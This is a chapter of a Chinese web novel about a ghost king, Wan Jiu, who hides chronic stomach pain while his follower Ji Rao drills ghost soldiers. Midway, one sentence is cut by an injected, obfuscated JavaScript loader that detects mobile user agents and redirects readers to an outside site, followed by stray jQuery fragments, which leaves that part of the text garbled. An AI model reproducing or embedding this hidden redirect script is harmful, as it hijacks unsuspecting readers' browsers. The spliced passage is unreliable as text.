52.你这胃到底怎么回事
作品:《鬼王今天吐血了吗》 万氿差小鬼先返秽灵荒林报了信,令乞爷选些魂体扎实,体魄相对强壮些的鬼魂们到六号地集合。
回程却并不顺利,不知怎的万氿腹中的那股绞痛始终不肯消停,即便食用了阴灵果依旧成效甚微,姬饶似是瞧出他的不适,走一程便非拉着他停下歇歇,嘴上嚷嚷着太累需要补充体力。
万氿知晓他在说谎,他承他的意,暗暗调理内息,好歹将疼痛压到不影响行动的范围,这才提速返回秽灵荒林。
虽误了些时辰,但众鬼魂并未散去,热热闹闹地打造着兵器。见他赶到,立马呜呜泱泱聚上前,个个争着喊老大。
万氿站定,将身侧的姬饶让到前方:“这位是姬饶,今后由他来带各位操练实战。”他微微侧首对着姬饶轻声补了句,“你收敛些,别吓着他们。”
“老大放心,交给我!”
姬饶笑吟吟上前一步,红衣一拂,明明艳光逼人,却莫名让众鬼齐刷刷后退了半步。
“怕什么呀?”他眼波流转,笑得越发和善,“我又不吃鬼。”
说罢,姬饶顺手拎起一根木棍穿梭到队列间,扫过一众飘得七扭八歪的鬼魂,痛心疾首地摇头。
“瞧瞧你们这站姿,知道的说是练兵,不知道的还以为是百鬼夜行现场漏了几个没跟上队的!”
他随手点了个缩脖子的小鬼:“你!抖什么抖?敌人来了你是打算用哆嗦把敌人笑死?”
又用木棍轻戳另一个飘得高过他半个头的鬼魂:“这位兄弟,你飘这么高是生怕敌人看不见你吗?!”
万氿见他迅速进入状态,安心地笑了笑,便将视线转向一旁的打铁区。那里,几个鬼魂正抡着锤子热火朝天地打造家伙事儿。他看了会儿,便挽起袖子走了过去。
“老大!您这是……也要打造兵器?”
“算是吧,”万氿笑着回了句,“你们忙你们的,不必管我,我随便弄弄。”
他说着顺手抄起角落一把闲置的锤子,随即抬手在腰间虚虚一按。指尖阴鬼气流转,漾开一圈细微的幽光,紧接着,一柄短刀便被他“抽”了出来。
这把刀……他好像很久没有使用了。
万氿眼前不自觉地浮现出那日见到的那把大铁锤,又想到司徒让的那句“我有特殊待遇吗”,不禁牵了牵唇角。
阿让斯文又清正,刀或剑似乎更衬他的气质……
想到这里,万氿不再迟疑,将短刀平置于打铁用的砧台上,单手抡起锤子,凝神聚气。一丝银亮的微光缠绕上他苍白的手腕,随即顺着锤柄流泻而下,与涌动的阴鬼气交融。
叮——!
锤刃相击,发出一声响。
银光在每一次落锤间流转,刀身在敲击声中渐渐延展。最后一锤落下,砧台上静静躺着的已是一柄透着寒气的长刀。
万氿垂眸端详片刻,指尖拂过犹带余温的刀身,随即手腕一转,长刀便在他掌中化作一缕雾气,悄无声息地没入腰间。
做完这些,他寻了处视野开阔些的位置,拎过小木凳坐下。身子微微前倾,一只手臂轻轻环在上腹,另一只手支着下巴,望向不远处闹哄哄的景象,嘴角忍不住漾开一抹浅淡的笑意。
几乎在万氿坐稳的同一刻,姬饶便立即察觉到。他眼角余光瞥见他环住腹部的姿势,眸光倏然一沉。
面上分毫未显,姬饶恍若无事地转过身,手中木棍一扬,虚虚点向眼前一众鬼魂:“都给我打起精神!今儿个谁练得最利索……”他眉梢一挑,“我便亲自用妖力,为他锻一把像样的兵器,如何?”
众鬼先是面面相觑,愣了片刻,随即炸开了锅,兴奋的高呼此起彼伏,劲头瞬间被提了起来。
姬饶又是一挑眉,将木棍随手一扔,颠颠地跑到万氿跟前,放轻声音唤:“老大。”
“嗯?怎么过来了?”万氿仰头看他,目光温和。
姬饶的视线落在他环着上腹的手臂上:“你胃还在疼?你的胃……到底怎么回事?我瞧着怪严重的,不会是来到鬼域这破地方给饿坏了吧?”
“不是,”万氿轻轻摇头,指尖在衣料上无意识地蹭了蹭,“是老毛病了。”
“诶?又是老毛病!”姬饶抓了缕头发在手指上卷了卷,语气里带着点不满,“老大你总这样避重就轻!跟我说说嘛,没准我真有法子给你治呢!”
万氿知晓他的性子与司徒让不同,逮着个事儿非得刨根问底不可,便没打算与他硬拗:“我以前很忙碌,饭吃一顿顶两天,还有……”他抬手,指尖轻轻点了点上腹正中间的位置,声音轻了些,“这里被人踹过,很多下,很多次。”
“啊??”姬饶霎时瞪圆眼,声音紧跟着拔高,“哪个杂碎干的?!”
万氿轻轻摇了摇头:“估计那人……已经死了吧。”
“啊……?”
火气被掐灭一半,姬饶张着嘴似被噎住,一时间竟没想到该如何接话。
见他这副模样,万氿主动开口打趣:“所以啊,你方才说的法子,还能治吗?”
“啊这……我得好好想想……”姬饶难得露出几分窘迫,但他很快便想到另一件事,“不对啊!这里是鬼域啊老大,那踹了你的杂碎死后定然也成了鬼,他长得什么糗样?我去将他擒来,狠狠教训一顿!”
他模样生得太过阴柔,此刻却做着咬牙切齿的表情,万氿瞧着忍不住低笑出声,抬手拍了拍他的胳膊:“快去练兵吧,别在我这耗着了。我这毛病虽然好不了,但也不是什么急症,一时半会还疼不死。”
姬饶闻言托着下巴围着万氿绕了两圈,见人始终一副温和模样,他憋了半天也没想出什么好法子能撬动这位老大的心扉,便只得返回去拿那群小鬼撒气。
但成效显著。
不过两日,那群原本飘飘忽忽的鬼魂们竟能像模像样地突刺、躲藏,队伍也隐约有了点阵型。
姬饶笑骂着练兵,万氿便坐在小木凳上观摩,起初还有些精气神,但看得久了便有些昏昏欲睡。朦朦胧胧中听见有人在耳边唤老大,他想着要回应,眼皮却如何都掀不开,只得任由意识在混沌中沉沦。
隐约中,万氿好似听见脑中的那两股声音在交谈,又似争执,他辨不清,便挣扎着想拉回自己的意识。可他的精神力像被什么东西死死按住,如何都挣脱不出来。他咬牙用劲儿,又是拖又是扯,也不知哪股劲儿用得不对,一阵天昏地暗后,视线忽地清明起来。
“……老大??”
姬饶抓着门框猛地回头,看向突然从榻上坐起身,双目骤然瞪大的万氿。
“你这是……”姬饶倒退了几步才掉头,三步并作两步走到榻前,“魇着了?”
“我……”万氿抬手按住额角,声音哑得像被磨过,“我怎么在屋里?”
姬饶凑近前,往他边上一坐:“我见你缩在小木凳上迷迷糊糊睡不踏实,身上凉得起了层霜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199690|192917||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,便擅自做主把你抱进屋里头暖和暖和。”
万氿闻言这才意识到掌心下的肌肤浮起一层薄霜,凉得冰手。
姬饶见他发愣,自顾自接过话:“这林中宅子还是冷,不过说到底鬼域没有不森寒的地方,寻常鬼魂倒是习惯这股阴森之气,倒是苦了老大你,”他说到这,眸光忽地一亮,“日后建了鬼王殿就好了,宫殿多少能挡住些森寒之气,最适合老大你这脆弱的身子骨!”
万氿移开手,双眸认真地看向絮絮叨叨的姬饶。
“为什么?”
“啊?什么为什么?”
“为什么你和阿让都认定我会成为王。”
“当然是因为你强啊。”
万氿收拢手指,轻轻握成拳,指甲却用力地抠进掌心。
“那若是……”
若我是个无法战斗的残次品呢?你们可还会继续追随我?
喉咙艰涩地滚动两下,万氿将到嘴边的话硬生生咽下去。
他缓慢地侧头望向窗棂,那上面扒着几个小鬼,幽绿的大眼睛眨巴眨巴地瞧他。万氿看了好一会儿才收回视线,只说:“阿饶,练兵之事就辛苦你了。”
又过了两日,秽灵荒林众鬼已从最初的磕磕绊绊变得进退有序,并学会变换阵型。按照阿饶教的章法,开始分组进行针对性的单独训练,喊杀声断断续续飘在半空,倒有了几分像样的气势。
只不过不知哪个小鬼嘴快,把万氿练兵的事传到了无相之冢。没过多久,便有几个胆子大些的鬼魂,托司徒让捎来话,说他们也想跟着操练,万一哪天能跟着万氿上战场,早些立个军功,日后也好混个一官半职,不用再做四处游荡的孤魂。
万氿听了这话,倒没多评论他们想立功求官的心思,只淡淡回:“有想法便去试。”
这话一出,姬饶便像长了翅膀一般开始两头飞奔。既要盯着秽灵荒林的队伍,又要到无相之冢重新面对一群两眼发直啥也不会的鬼魂。
跑了两三趟后,他琢磨出个法子,把阿骨往无相之冢练兵场一放,他自个便可放心回秽灵荒林盯梢。那副骷髅架子本就没个表情,谁也猜不透他在想什么,加上他阶别高,往那一站,自带一股慑人的威严,众鬼魂竟自发恭敬地喊他“骷髅将军”。
练兵之事渐入佳境,万氿也没闲着,人几乎扎进土里,跟着小鬼们一起收割鬼米。他按照鬼魂们的出力多少、需求大小分发,偶尔还帮小鬼们稳定魂体。几番下来,先前总爱挑事的几个恶鬼,竟也被万氿磨得服服帖帖,见了他都乖乖垂手问好。
只不过他的胃自始至终都在疼,没有半分消停。
万氿索性把自己排得满满当当,忙着练兵、忙着收粮、忙着帮衬小鬼,借着身体的忙碌压下腹内绞痛,免得一停下来,挨不过那股钻心的疼。
这日,收完鬼米,万氿便带着小鬼们翻土,准备将土养上一阵再种下一茬鬼禾。
翻到垄尾,万氿胃里开始疼得不正常。
他缓步走向新搭好的小窝棚,撑着膝盖慢慢坐到小木凳上,拇指抠进上腹,另一只手却按在左膝上。
膝盖骨像被掀开一样,那股抓心挠肺的疼从顶端向下蔓延至整条左腿,万氿弯腰伏在右膝上,双手都按在左腿上,疼痛还在加剧,似有一把长刀正在他的腿上剥开口子,再剜进血肉里。
就像……身上其他蚀痕出现时一样。
万氿忽地有种不好的预感。

